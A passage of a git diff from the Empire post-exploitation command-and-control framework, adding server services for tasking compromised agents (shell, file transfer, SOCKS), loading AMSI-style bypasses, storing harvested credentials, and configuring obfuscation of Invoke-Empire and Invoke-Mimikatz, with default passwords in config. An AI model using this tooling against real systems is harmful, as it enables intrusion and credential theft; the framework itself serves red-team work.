@@ -1,207 +0,0 @@
-import json
-import random
-import string
-import threading
-
-import bcrypt
-from pydispatch import dispatcher
-
-from empire.server.database import models
-from empire.server.database.base import Session
-
-from . import helpers
-
-
-class Users(object):
- def __init__(self, mainMenu):
- self.mainMenu = mainMenu
-
- self.args = self.mainMenu.args
-
- self.users = {}
-
- def user_exists(self, uid):
- """
- Return whether a user exists or not
- """
- user = Session().query(models.User).filter(models.User.id == uid).first()
- if user:
- return True
- else:
- return False
-
- def add_new_user(self, user_name, password):
- """
- Add new user to cache
- """
- success = Session().add(
- models.User(
- username=user_name,
- password=self.get_hashed_password(password),
- enabled=True,
- admin=False,
- )
- )
- Session().commit()
-
- if success:
- # dispatch the event
- signal = json.dumps(
- {"print": True, "message": "Added {} to Users".format(user_name)}
- )
- dispatcher.send(signal, sender="Users")
- message = True
- else:
- message = False
-
- return message
-
- def disable_user(self, uid, disable):
- """
- Disable user
- """
- user = Session().query(models.User).filter(models.User.id == uid).first()
-
- if not self.user_exists(uid):
- message = False
- elif self.is_admin(uid):
- signal = json.dumps(
- {"print": True, "message": "Cannot disable admin account"}
- )
- message = False
- else:
- user.enabled = not (disable)
- Session.commit()
-
- signal = json.dumps(
- {
- "print": True,
- "message": "User {}".format("disabled" if disable else "enabled"),
- }
- )
- message = True
-
- dispatcher.send(signal, sender="Users")
- return message
-
- def user_login(self, user_name, password):
- user = (
- Session()
- .query(models.User)
- .filter(models.User.username == user_name)
- .first()
- )
-
- if user is None:
- return None
-
- if not self.check_password(password, user.password):
- return None
-
- user.api_token = user.api_token or self.refresh_api_token()
- user.username = user_name
- Session.commit()
-
- # dispatch the event
- signal = json.dumps(
- {"print": False, "message": "[+] {} connected".format(user_name)}
- )
- dispatcher.send(signal, sender="Users")
- return user.api_token
-
- def get_user_from_token(self, token):
- user = (
- Session().query(models.User).filter(models.User.api_token == token).first()
- )
-
- if user:
- return {
- "id": user.id,
- "username": user.username,
- "api_token": user.api_token,
- "last_logon_time": user.last_logon_time,
- "enabled": user.enabled,
- "admin": user.admin,
- "notes": user.notes,
- }
-
- return None
-
- def update_username(self, uid, username):
- """
- Update a user's username.
- Currently only when empire is start up with the username arg.
- """
- user = Session().query(models.User).filter(models.User.id == uid).first()
- user.username = username
- Session.commit()
-
- # dispatch the event
- signal = json.dumps({"print": True, "message": "Username updated"})
- dispatcher.send(signal, sender="Users")
-
- return True
-
- def update_password(self, uid, password):
- """
- Update the last logon timestamp for a user
- """
- if not self.user_exists(uid):
- return False
-
- user = Session().query(models.User).filter(models.User.id == uid).first()
- user.password = self.get_hashed_password(password)
- Session.commit()
-
- # dispatch the event
- signal = json.dumps({"print": True, "message": "Password updated"})
- dispatcher.send(signal, sender="Users")
-
- return True
-
- def user_logout(self, uid):
- user = Session().query(models.User).filter(models.User.id == uid).first()
- user.api_token = ""
- Session.commit()
-
- # dispatch the event
- signal = json.dumps({"print": True, "message": "User disconnected"})
- dispatcher.send(signal, sender="Users")
-
- def refresh_api_token(self):
- """
- Generates a randomized RESTful API token and updates the value
- in the config stored in the backend database.
- """
- # generate a randomized API token
- rng = random.SystemRandom()
- apiToken = "".join(
- rng.choice(string.ascii_lowercase + string.digits) for x in range(40)
- )
-
- return apiToken
-
- def is_admin(self, uid):
- """
- Returns whether a user is an admin or not.
- """
- admin = Session().query(models.User.admin).filter(models.User.id == uid).first()
-
- if admin[0] == True:
- return True
-
- return False
-
- def get_hashed_password(self, plain_text_password):
- if isinstance(plain_text_password, str):
- plain_text_password = plain_text_password.encode("UTF-8")
-
- return bcrypt.hashpw(plain_text_password, bcrypt.gensalt())
-
- def check_password(self, plain_text_password, hashed_password):
- if isinstance(plain_text_password, str):
- plain_text_password = plain_text_password.encode("UTF-8")
- if isinstance(hashed_password, str):
- hashed_password = hashed_password.encode("UTF-8")
-
- return bcrypt.checkpw(plain_text_password, hashed_password)
diff --git a/empire/server/config.yaml b/empire/server/config.yaml
index 17653f801..5681d7433 100644
--- a/empire/server/config.yaml
+++ b/empire/server/config.yaml
@@ -1,24 +1,48 @@
suppress-self-cert-warning: true
database:
- type: sqlite
- location: empire/server/data/empire.db
+ use: mysql
+ mysql:
+ url: localhost:3306
+ username: root
+ password: root
+ database_name: empire
+ sqlite:
+ location: empire/server/data/empire.db
defaults:
# staging key will first look at OS environment variables, then here.
# If empty, will be prompted (like Empire <3.7).
staging-key: RANDOM
username: empireadmin
password: password123
- obfuscate: false
- # Note the escaped backslashes
- obfuscate-command: "Token\\All\\1"
+ obfuscation:
+ - language: powershell
+ enabled: false
+ command: "Token\\All\\1"
+ module: "invoke-obfuscation"
+ preobfuscatable: true
+ - language: csharp
+ enabled: false
+ command: ""
+ module: "confuser"
+ preobfuscatable: false
+ keyword_obfuscation:
+ - Invoke-Empire
+ - Invoke-Mimikatz
# an IP white list to ONLY accept clients from
# format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
ip-whitelist: ""
# an IP black list to reject accept clients from
# format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
ip-blacklist: ""
-modules:
- retain-last-value: false
+starkiller:
+ repo: https://github.com/BC-SECURITY/Starkiller.git
+ # Can be a branch, tag, or commit hash
+ ref: v2.0.5
+ # for private-main, instead of updating the submodule, just work out of a local copy.
+ # So devs can work off the latest changes and not worry about accidentally updating the submodule
+ # for the downstream main branches.
+ use_temp_dir: true
+ auto_update: true
plugins:
# Auto-load plugin with defined settings
csharpserver:
@@ -27,7 +51,11 @@ directories:
downloads: empire/server/downloads/
module_source: empire/server/data/module_source/
obfuscated_module_source: empire/server/data/obfuscated_module_source/
-keyword_obfuscation:
- # List of keywords to obfuscate
- - Invoke-Empire
- - Invoke-Mimikatz
\ No newline at end of file
+logging:
+ level: INFO
+ directory: empire/server/downloads/logs/
+ simple_console: true
+debug:
+ last_task:
+ enabled: false
+ file: empire/server/data/last_task.txt
diff --git a/empire/server/core/__init__.py b/empire/server/core/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/core/agent_file_service.py b/empire/server/core/agent_file_service.py
new file mode 100644
index 000000000..1f45e6a60
--- /dev/null
+++ b/empire/server/core/agent_file_service.py
@@ -0,0 +1,72 @@
+from typing import List, Optional, Tuple
+
+from sqlalchemy import and_
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+
+
+class AgentFileService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_file(
+ db: Session, agent_id: str, uid: int
+ ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]:
+ found = (
+ db.query(models.AgentFile)
+ .filter(
+ and_(
+ models.AgentFile.session_id == agent_id, models.AgentFile.id == uid
+ )
+ )
+ .first()
+ )
+
+ if not found:
+ return None
+
+ children = (
+ db.query(models.AgentFile)
+ .filter(
+ and_(
+ models.AgentFile.session_id == agent_id,
+ models.AgentFile.parent_id == found.id,
+ )
+ )
+ .all()
+ )
+
+ return found, children
+
+ @staticmethod
+ def get_file_by_path(
+ db: Session, agent_id: str, path: str
+ ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]:
+ found = (
+ db.query(models.AgentFile)
+ .filter(
+ and_(
+ models.AgentFile.session_id == agent_id,
+ models.AgentFile.path == path,
+ )
+ )
+ .first()
+ )
+
+ if not found:
+ return None
+
+ children = (
+ db.query(models.AgentFile)
+ .filter(
+ and_(
+ models.AgentFile.session_id == agent_id,
+ models.AgentFile.parent_id == found.id,
+ )
+ )
+ .all()
+ )
+
+ return found, children
diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py
new file mode 100644
index 000000000..e23715921
--- /dev/null
+++ b/empire/server/core/agent_service.py
@@ -0,0 +1,96 @@
+import logging
+import queue
+
+from sqlalchemy import and_
+from sqlalchemy.orm import Session
+
+from empire.server.common.helpers import KThread
+from empire.server.common.socks import create_client, start_client
+from empire.server.core.agent_task_service import AgentTaskService
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+
+log = logging.getLogger(__name__)
+
+
+class AgentService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ self.agent_task_service: AgentTaskService = main_menu.agenttasksv2
+
+ self._start_existing_socks()
+
+ @staticmethod
+ def get_all(
+ db: Session, include_archived: bool = False, include_stale: bool = True
+ ):
+ query = db.query(models.Agent).filter(
+ models.Agent.host_id != ""
+ ) # don't return agents that haven't fully checked in.
+
+ if not include_archived:
+ query = query.filter(models.Agent.archived == False) # noqa: E712
+
+ agents = query.all()
+
+ # can't use the hybrid expression until the function in models.py is updated to support mysql.
+ if not include_stale:
+ agents = [agent for agent in agents if not agent.stale]
+
+ return agents
+
+ @staticmethod
+ def get_by_id(db: Session, uid: str):
+ return db.query(models.Agent).filter(models.Agent.session_id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str):
+ return db.query(models.Agent).filter(models.Agent.name == name).first()
+
+ def update_agent(self, db: Session, db_agent: models.Agent, agent_req):
+ if agent_req.name != db_agent.name:
+ if not self.get_by_name(db, agent_req.name):
+ db_agent.name = agent_req.name
+ else:
+ return None, f"Agent with name {agent_req.name} already exists."
+
+ db_agent.notes = agent_req.notes
+
+ return db_agent, None
+
+ def start_existing_socks(self, db: Session, agent: models.Agent):
+ log.info(f"Starting SOCKS client for {agent.session_id}")
+ try:
+ self.main_menu.agents.socksqueue[agent.session_id] = queue.Queue()
+ client = create_client(
+ self.main_menu,
+ self.main_menu.agents.socksqueue[agent.session_id],
+ agent.session_id,
+ )
+ self.main_menu.agents.socksthread[agent.session_id] = KThread(
+ target=start_client,
+ args=(client, agent.socks_port),
+ )
+
+ self.main_menu.agents.socksclient[agent.session_id] = client
+ self.main_menu.agents.socksthread[agent.session_id].daemon = True
+ self.main_menu.agents.socksthread[agent.session_id].start()
+ log.info(f'SOCKS client for "{agent.name}" successfully started')
+ except Exception:
+ log.error(f'SOCKS client for "{agent.name}" failed to start')
+
+ def _start_existing_socks(self):
+ with SessionLocal.begin() as db:
+ agents = (
+ db.query(models.Agent)
+ .filter(
+ and_(
+ models.Agent.socks == True, # noqa: E712
+ models.Agent.archived == False, # noqa: E712
+ )
+ )
+ .all()
+ )
+ for agent in agents:
+ self.start_existing_socks(db, agent)
diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py
new file mode 100644
index 000000000..171208941
--- /dev/null
+++ b/empire/server/core/agent_task_service.py
@@ -0,0 +1,415 @@
+import json
+import logging
+import threading
+import time
+from collections import defaultdict
+from datetime import datetime
+from pathlib import Path
+from typing import Dict, List, Optional, Tuple
+
+from pydantic import BaseModel
+from sqlalchemy import and_, func, or_
+from sqlalchemy.orm import Session, joinedload, undefer
+
+from empire.server.api.v2.agent.agent_task_dto import (
+ ModulePostRequest,
+ TaskOrderOptions,
+)
+from empire.server.api.v2.shared_dto import OrderDirection
+from empire.server.common import helpers
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.models import TaskingStatus
+from empire.server.core.hooks import hooks
+from empire.server.core.listener_service import ListenerService
+from empire.server.core.module_service import ModuleService
+
+log = logging.getLogger(__name__)
+
+
+class AgentTaskService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ self.module_service: ModuleService = main_menu.modulesv2
+ self.listener_service: ListenerService = main_menu.listenersv2
+
+ # { agent_id: [TemporaryTask] }
+ self.temporary_tasks = defaultdict(list)
+
+ self.last_task_lock = threading.Lock()
+
+ @staticmethod
+ def get_tasks(
+ db: Session,
+ agents: List[str] = None,
+ users: List[int] = None,
+ limit: int = -1,
+ offset: int = 0,
+ include_full_input: bool = False,
+ include_original_output: bool = False,
+ include_output: bool = True,
+ since: Optional[datetime] = None,
+ order_by: TaskOrderOptions = TaskOrderOptions.id,
+ order_direction: OrderDirection = OrderDirection.desc,
+ status: Optional[TaskingStatus] = None,
+ q: Optional[str] = None,
+ ):
+ query = db.query(
+ models.Tasking, func.count(models.Tasking.id).over().label("total")
+ )
+
+ if agents:
+ query = query.filter(models.Tasking.agent_id.in_(agents))
+
+ if users:
+ query = query.filter(models.Tasking.user_id.in_(users))
+
+ query_options = [
+ joinedload(models.Tasking.user),
+ joinedload(models.Tasking.agent).joinedload(models.Agent.host),
+ ]
+ if include_full_input:
+ query_options.append(undefer("input_full"))
+ if include_original_output:
+ query_options.append(undefer("original_output"))
+ if include_output:
+ query_options.append(undefer("output"))
+ query = query.options(*query_options)
+
+ if since:
+ query = query.filter(models.Tasking.updated_at > since)
+
+ if status:
+ query = query.filter(models.Tasking.status == status)
+
+ if q:
+ query = query.filter(
+ or_(
+ models.Tasking.input.like(f"%{q}%"),
+ models.Tasking.output.like(f"%{q}%"),
+ )
+ )
+
+ if order_by == TaskOrderOptions.status:
+ order_by_prop = models.Tasking.status
+ elif order_by == TaskOrderOptions.updated_at:
+ order_by_prop = models.Tasking.updated_at
+ elif order_by == TaskOrderOptions.agent:
+ order_by_prop = models.Tasking.agent_id
+ else:
+ order_by_prop = models.Tasking.id
+
+ if order_direction == OrderDirection.asc:
+ query = query.order_by(order_by_prop.asc())
+ else:
+ query = query.order_by(order_by_prop.desc())
+
+ if limit > 0:
+ query = query.limit(limit).offset(offset)
+
+ results = query.all()
+
+ total = 0 if len(results) == 0 else results[0].total
+ results = list(map(lambda x: x[0], results))
+
+ return results, total
+
+ @staticmethod
+ def get_task_for_agent(db: Session, agent_id: str, uid: int):
+ return (
+ db.query(models.Tasking)
+ .filter(and_(models.Tasking.agent_id == agent_id, models.Tasking.id == uid))
+ .first()
+ )
+
+ def get_temporary_tasks_for_agent(self, agent_id: str, clear: bool = True):
+ tasks = self.temporary_tasks[agent_id]
+
+ if clear:
+ self.temporary_tasks[agent_id] = []
+
+ return tasks
+
+ def create_task_shell(
+ self,
+ db: Session,
+ agent: models.Agent,
+ command: str,
+ literal: bool = False,
+ user_id: int = 0,
+ ):
+ if literal and not command.startswith("shell"):
+ command = f"shell {command}"
+ return self.add_task(db, agent, "TASK_SHELL", command, user_id=user_id)
+
+ def create_task_upload(
+ self, db: Session, agent: models.Agent, file_data: str, directory: str, user_id
+ ):
+ data = f"{directory}|{file_data}"
+ return self.add_task(db, agent, "TASK_UPLOAD", data, user_id=user_id)
+
+ def create_task_download(
+ self, db: Session, agent: models.Agent, path_to_file: str, user_id: int
+ ):
+ return self.add_task(db, agent, "TASK_DOWNLOAD", path_to_file, user_id=user_id)
+
+ def create_task_script_import(
+ self, db: Session, agent: models.Agent, file_data: str, user_id: int
+ ):
+ if agent.language != "powershell":
+ return None, "Only PowerShell agents support script imports"
+
+ # strip out comments and blank lines from the imported script
+ file_data = helpers.strip_powershell_comments(file_data)
+
+ return self.add_task(
+ db, agent, "TASK_SCRIPT_IMPORT", file_data, user_id=user_id
+ )
+
+ def create_task_script_command(
+ self, db: Session, agent: models.Agent, command: str, user_id: int
+ ):
+ return self.add_task(db, agent, "TASK_SCRIPT_COMMAND", command, user_id=user_id)
+
+ def create_task_sysinfo(self, db: Session, agent: models.Agent, user_id: int):
+ return self.add_task(db, agent, "TASK_SYSINFO", user_id=user_id)
+
+ def create_task_jobs(self, db: Session, agent: models.Agent, user_id: int):
+ return self.add_task(db, agent, "TASK_GETJOBS", user_id=user_id)
+
+ def create_task_kill_job(
+ self, db: Session, agent: models.Agent, user_id: int, job_id: str
+ ):
+ return self.add_task(db, agent, "TASK_STOPJOB", job_id, user_id=user_id)
+
+ def create_task_exit(self, db, agent: models.Agent, current_user_id: int):
+ resp, err = self.add_task(db, agent, "TASK_EXIT", user_id=current_user_id)
+ agent.archived = True
+
+ # Close socks client
+ if (agent.session_id in self.main_menu.agents.socksthread) and agent.stale:
+ agent.socks = False
+ self.main_menu.agents.socksclient[agent.session_id].shutdown()
+ time.sleep(1)
+ self.main_menu.agents.socksthread[agent.session_id].kill()
+ return resp, err
+
+ def create_task_socks(
+ self, db, agent: models.Agent, socks_port, current_user_id: int
+ ):
+ agent.socks = True
+ agent.socks_port = socks_port
+ resp, err = self.add_task(db, agent, "TASK_SOCKS", user_id=current_user_id)
+ return resp, err
+
+ def create_task_socks_data(self, agent_id: str, data: str):
+ return self.add_temporary_task(agent_id, "TASK_SOCKS_DATA", data)
+
+ def create_task_update_comms(
+ self, db: Session, agent: models.Agent, new_listener_id: int, user_id: int
+ ):
+ listener = self.listener_service.get_by_id(db, new_listener_id)
+
+ if not listener:
+ return None, f"Listener not found for id {new_listener_id}"
+ if listener.module in ["meterpreter", "http_mapi"]:
+ return (
+ None,
+ f"Listener template {listener.module} not eligible for updating comms",
+ )
+
+ new_comms = self.listener_service.get_active_listeners()[
+ listener.id
+ ].generate_comms(listener.options, agent.language)
+
+ self.add_task(
+ db, agent, "TASK_UPDATE_LISTENERNAME", listener.name, user_id=user_id
+ )
+ return self.add_task(
+ db, agent, "TASK_SWITCH_LISTENER", new_comms, user_id=user_id
+ )
+
+ def create_task_update_sleep(
+ self, db: Session, agent: models.Agent, delay: int, jitter: float, user_id: int
+ ):
+ agent.delay = delay
+ agent.jitter = jitter
+ if agent.language == "powershell":
+ return self.add_task(
+ db,
+ agent,
+ "TASK_SHELL",
+ f"Set-Delay {str(delay)} {str(jitter)}",
+ user_id=user_id,
+ )
+ elif agent.language in ["python", "ironpython"]:
+ return self.add_task(
+ db,
+ agent,
+ "TASK_CMD_WAIT",
+ f"global delay; global jitter; delay={delay}; jitter={jitter}; print('delay/jitter set to {delay}/{jitter}')",
+ user_id=user_id,
+ )
+ elif agent.language == "csharp":
+ return self.add_task(
+ db,
+ agent,
+ "TASK_SHELL",
+ f"Set-Delay {str(delay)} {str(jitter)}",
+ user_id=user_id,
+ )
+ else:
+ return None, "Unsupported language."
+
+ def create_task_update_kill_date(
+ self, db: Session, agent: models.Agent, kill_date: str, user_id: int
+ ):
+ # todo handle different languages
+ agent.kill_date = kill_date
+ return self.add_task(
+ db, agent, "TASK_SHELL", f"Set-KillDate {kill_date}", user_id=user_id
+ )
+
+ def create_task_update_working_hours(
+ self, db: Session, agent: models.Agent, working_hours: str, user_id: int
+ ):
+ # todo handle different languages.
+ agent.working_hours = working_hours
+ return self.add_task(
+ db,
+ agent,
+ "TASK_SHELL",
+ f"Set-WorkingHours {working_hours}",
+ user_id=user_id,
+ )
+
+ def create_task_module(
+ self,
+ db: Session,
+ agent: models.Agent,
+ module_req: ModulePostRequest,
+ user_id: int,
+ ):
+ module_req.options["Agent"] = agent.session_id
+ resp, err = self.module_service.execute_module(
+ db,
+ agent,
+ module_req.module_id,
+ module_req.options,
+ module_req.ignore_language_version_check,
+ module_req.ignore_admin_check,
+ )
+
+ if err:
+ return None, err
+
+ return self.add_task(
+ db,
+ agent,
+ task_name=resp["command"],
+ task_input=resp["data"],
+ module_name=module_req.module_id,
+ user_id=user_id,
+ )
+
+ def create_task_directory_list(
+ self, db: Session, agent: models.Agent, path: str, user_id: int
+ ):
+ return self.add_task(db, agent, "TASK_DIR_LIST", path, user_id=user_id)
+
+ def create_task_proxy_list(
+ self, db: Session, agent: models.Agent, body: Dict, user_id: int
+ ):
+ agent.proxies = body
+ return self.add_task(
+ db, agent, "TASK_SET_PROXY", json.dumps(body), user_id=user_id
+ )
+
+ class TemporaryTask(BaseModel):
+ """
+ Fields should match the Task db model, so that we can use the same
+ functions to retrieve tasks.
+ """
+
+ id: int = 0 # We don't need an ID for these, but it is used in agents.py:1206, so we just initialize it to 0
+ agent_id: str
+ task_name: str
+ input_full: str
+ module_name: Optional[str]
+
+ def add_temporary_task(
+ self, agent_id: str, task_name, task_input="", module_name: str = None
+ ) -> Tuple[Optional[TemporaryTask], Optional[str]]:
+ """
+ Add a temporary task for the agent to execute. These tasks are not saved in the database,
+ since they don't provide any value to end users and can be very write-heavy.
+ """
+ task = self.TemporaryTask(
+ agent_id=agent_id,
+ task_name=task_name,
+ input_full=task_input,
+ module_name=module_name,
+ )
+ self.temporary_tasks[agent_id].append(task)
+
+ return task, None
+
+ def add_task(
+ self,
+ db: Session,
+ agent: models.Agent,
+ task_name,
+ task_input="",
+ module_name: str = None,
+ user_id: int = 0,
+ ) -> Tuple[Optional[models.Tasking], Optional[str]]:
+ """
+ Task an agent. Adapted from agents.py
+ """
+ if agent.archived:
+ return None, f"[!] Agent {agent.session_id} is archived."
+
+ message = f"Tasked {agent.session_id} to run {task_name}"
+ log.info(message)
+ self.main_menu.agents.save_agent_log(agent.session_id, message)
+
+ pk = (
+ db.query(func.max(models.Tasking.id))
+ .filter(models.Tasking.agent_id == agent.session_id)
+ .first()[0]
+ )
+
+ if pk is None:
+ pk = 0
+ pk = (pk + 1) % 65536
+
+ task = models.Tasking(
+ id=pk,
+ agent_id=agent.session_id,
+ input=task_input[:100],
+ input_full=task_input,
+ user_id=user_id if user_id else None,
+ module_name=module_name,
+ task_name=task_name,
+ status=TaskingStatus.queued,
+ )
+ db.add(task)
+ db.flush()
+
+ last_task_config = empire_config.debug.last_task
+ if last_task_config.enabled:
+ with self.last_task_lock:
+ location = Path(last_task_config.file)
+ location.write_text(task_input)
+
+ hooks.run_hooks(hooks.AFTER_TASKING_HOOK, db, task)
+
+ message = f"Agent {agent.session_id} tasked with task ID {pk}"
+ log.info(message)
+
+ return task, None
+
+ @staticmethod
+ def delete_task(db: Session, task: models.Tasking):
+ db.delete(task)
diff --git a/empire/server/core/bypass_service.py b/empire/server/core/bypass_service.py
new file mode 100644
index 000000000..bf7c1ef69
--- /dev/null
+++ b/empire/server/core/bypass_service.py
@@ -0,0 +1,104 @@
+import fnmatch
+import logging
+import os
+
+import yaml
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils.data_util import ps_convert_to_oneliner
+
+log = logging.getLogger(__name__)
+
+
+class BypassService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ with SessionLocal.begin() as db:
+ self._load_bypasses(db)
+
+ def _load_bypasses(self, db):
+ root_path = f"{db.query(models.Config).first().install_path}/bypasses/"
+ log.info(f"v2: Loading bypasses from: {root_path}")
+
+ for root, dirs, files in os.walk(root_path):
+ for filename in files:
+ if not filename.lower().endswith(
+ ".yaml"
+ ) and not filename.lower().endswith(".yml"):
+ continue
+
+ file_path = os.path.join(root, filename)
+
+ # don't load up any of the templates
+ if fnmatch.fnmatch(filename, "*template.yaml"):
+ continue
+
+ try:
+ with open(file_path, "r") as stream:
+ yaml2 = yaml.safe_load(stream)
+ yaml_bypass = {k: v for k, v in yaml2.items() if v is not None}
+
+ if (
+ db.query(models.Bypass)
+ .filter(models.Bypass.name == yaml_bypass["name"])
+ .first()
+ is None
+ ):
+ yaml_bypass["script"] = ps_convert_to_oneliner(
+ yaml_bypass["script"]
+ )
+ my_model = models.Bypass(
+ name=yaml_bypass["name"],
+ authors=yaml_bypass["authors"],
+ code=yaml_bypass["script"],
+ language=yaml_bypass["language"],
+ )
+ db.add(my_model)
+ except Exception as e:
+ log.error(e)
+
+ @staticmethod
+ def get_all(db: Session):
+ return db.query(models.Bypass).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Bypass).filter(models.Bypass.id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str):
+ return db.query(models.Bypass).filter(models.Bypass.name == name).first()
+
+ @staticmethod
+ def delete_bypass(db: Session, bypass: models.Bypass):
+ db.delete(bypass)
+
+ def create_bypass(self, db: Session, bypass_req):
+ if self.get_by_name(db, bypass_req.name):
+ return None, f"Bypass with name {bypass_req.name} already exists."
+
+ bypass = models.Bypass(
+ name=bypass_req.name, code=bypass_req.code, language=bypass_req.language
+ )
+
+ db.add(bypass)
+ db.flush()
+
+ return bypass, None
+
+ def update_bypass(self, db: Session, db_bypass: models.Bypass, bypass_req):
+ if bypass_req.name != db_bypass.name:
+ if not self.get_by_name(db, bypass_req.name):
+ db_bypass.name = bypass_req.name
+ else:
+ return None, f"Bypass with name {bypass_req.name} already exists."
+
+ db_bypass.code = bypass_req.code
+ db_bypass.language = bypass_req.language
+
+ db.flush()
+
+ return db_bypass, None
diff --git a/empire/server/core/config.py b/empire/server/core/config.py
new file mode 100644
index 000000000..8271eb1a2
--- /dev/null
+++ b/empire/server/core/config.py
@@ -0,0 +1,117 @@
+import logging
+import sys
+from typing import Dict, List
+
+import yaml
+from pydantic import BaseModel, Extra, Field
+
+log = logging.getLogger(__name__)
+
+
+class StarkillerConfig(BaseModel):
+ repo: str = "bc-security/starkiller"
+ ref: str = "main"
+ use_temp_dir: bool = False
+ auto_update: bool = True
+
+
+class DatabaseDefaultObfuscationConfig(BaseModel):
+ language: str = "powershell"
+ enabled: bool = False
+ command: str = r"Token\All\1"
+ module: str = "invoke-obfuscation"
+ preobfuscatable: bool = True
+
+
+class DatabaseDefaultsConfig(BaseModel):
+ staging_key: str = "RANDOM"
+ username: str = "empireadmin"
+ password: str = "password123"
+ obfuscation: List[DatabaseDefaultObfuscationConfig] = []
+ keyword_obfuscation: List[str] = []
+ ip_whitelist: str = Field("", alias="ip-whitelist")
+ ip_blacklist: str = Field("", alias="ip-blacklist")
+
+
+class SQLiteDatabaseConfig(BaseModel):
+ location: str = "empire/server/data/empire.db"
+
+
+class MySQLDatabaseConfig(BaseModel):
+ url: str = "localhost:3306"
+ username: str = ""
+ password: str = ""
+ database_name: str = "empire"
+
+
+class DatabaseConfig(BaseModel):
+ use: str = "sqlite"
+ sqlite: SQLiteDatabaseConfig
+ mysql: MySQLDatabaseConfig
+ defaults: DatabaseDefaultsConfig
+
+ def __getitem__(self, key):
+ return getattr(self, key)
+
+
+class DirectoriesConfig(BaseModel):
+ downloads: str
+ module_source: str
+ obfuscated_module_source: str
+
+
+class LoggingConfig(BaseModel):
+ level: str = "INFO"
+ directory: str = "empire/server/downloads/logs/"
+ simple_console: bool = True
+
+
+class LastTaskConfig(BaseModel):
+ enabled: bool = False
+ file: str = "empire/server/data/last_task.txt"
+
+
+class DebugConfig(BaseModel):
+ last_task: LastTaskConfig
+
+
+class EmpireConfig(BaseModel):
+ supress_self_cert_warning: bool = Field(
+ alias="supress-self-cert-warning", default=True
+ )
+ starkiller: StarkillerConfig
+ database: DatabaseConfig
+ plugins: Dict[str, Dict[str, str]] = {}
+ directories: DirectoriesConfig
+ logging: LoggingConfig
+ debug: DebugConfig
+
+ def __init__(self, config_dict: Dict):
+ super().__init__(**config_dict)
+ # For backwards compatibility
+ self.yaml = config_dict
+
+ class Config:
+ extra = Extra.allow
+
+
+def set_yaml(location: str):
+ try:
+ with open(location, "r") as stream:
+ return yaml.safe_load(stream)
+ except yaml.YAMLError as exc:
+ print(exc)
+ except FileNotFoundError as exc:
+ print(exc)
+
+
+config_dict = {}
+if "--config" in sys.argv:
+ location = sys.argv[sys.argv.index("--config") + 1]
+ log.info(f"Loading config from {location}")
+ config_dict = set_yaml(location)
+if len(config_dict.items()) == 0:
+ log.info("Loading default config")
+ config_dict = set_yaml("./empire/server/config.yaml")
+
+empire_config = EmpireConfig(config_dict)
diff --git a/empire/server/core/credential_service.py b/empire/server/core/credential_service.py
new file mode 100644
index 000000000..ff708a8a9
--- /dev/null
+++ b/empire/server/core/credential_service.py
@@ -0,0 +1,90 @@
+from sqlalchemy import and_, or_
+from sqlalchemy.orm import Session
+
+from empire.server.api.v2.credential.credential_dto import CredentialPostRequest
+from empire.server.core.db import models
+
+
+class CredentialService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_all(db: Session, search: str = None, credtype: str = None):
+ query = db.query(models.Credential)
+
+ if search:
+ query = query.filter(
+ or_(
+ models.Credential.domain.like(f"%{search}%"),
+ models.Credential.username.like(f"%{search}%"),
+ models.Credential.password.like(f"%{search}%"),
+ models.Credential.host.like(f"%{search}%"),
+ )
+ )
+
+ if credtype:
+ query = query.filter(models.Credential.credtype == credtype)
+
+ return query.all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Credential).filter(models.Credential.id == uid).first()
+
+ @staticmethod
+ def delete_credential(db: Session, credential: models.Credential):
+ db.delete(credential)
+
+ @staticmethod
+ def check_duplicate_credential(db, credential_dto) -> bool:
+ """
+ Using IntegrityError and depending on the db invalidates the whole
+ transaction, so instead we'll check it manually.
+ """
+ found = (
+ db.query(models.Credential)
+ .filter(
+ and_(
+ models.Credential.credtype == credential_dto.credtype,
+ models.Credential.domain == credential_dto.domain,
+ models.Credential.username == credential_dto.username,
+ models.Credential.password == credential_dto.password,
+ )
+ )
+ .first()
+ )
+
+ return found is not None
+
+ def create_credential(self, db: Session, credential_dto: CredentialPostRequest):
+ dupe = self.check_duplicate_credential(db, credential_dto)
+
+ if dupe:
+ return None, "Credential not created. Duplicate detected."
+
+ credential = models.Credential(**credential_dto.dict())
+
+ db.add(credential)
+ db.flush()
+
+ return credential, None
+
+ def update_credential(
+ self, db: Session, db_credential: models.Credential, credential_req
+ ):
+ if self.check_duplicate_credential(db, credential_req):
+ return None, "Credential not updated. Duplicate detected."
+
+ db_credential.credtype = credential_req.credtype
+ db_credential.domain = credential_req.domain
+ db_credential.username = credential_req.username
+ db_credential.password = credential_req.password
+ db_credential.host = credential_req.host
+ db_credential.os = credential_req.os
+ db_credential.sid = credential_req.sid
+ db_credential.notes = credential_req.notes
+
+ db.flush()
+
+ return db_credential, None
diff --git a/empire/server/core/db/__init__.py b/empire/server/core/db/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py
new file mode 100644
index 000000000..eb4a23ae4
--- /dev/null
+++ b/empire/server/core/db/base.py
@@ -0,0 +1,130 @@
+import logging
+import os
+import sqlite3
+
+from sqlalchemy import UniqueConstraint, create_engine, event, text
+from sqlalchemy.engine import Engine
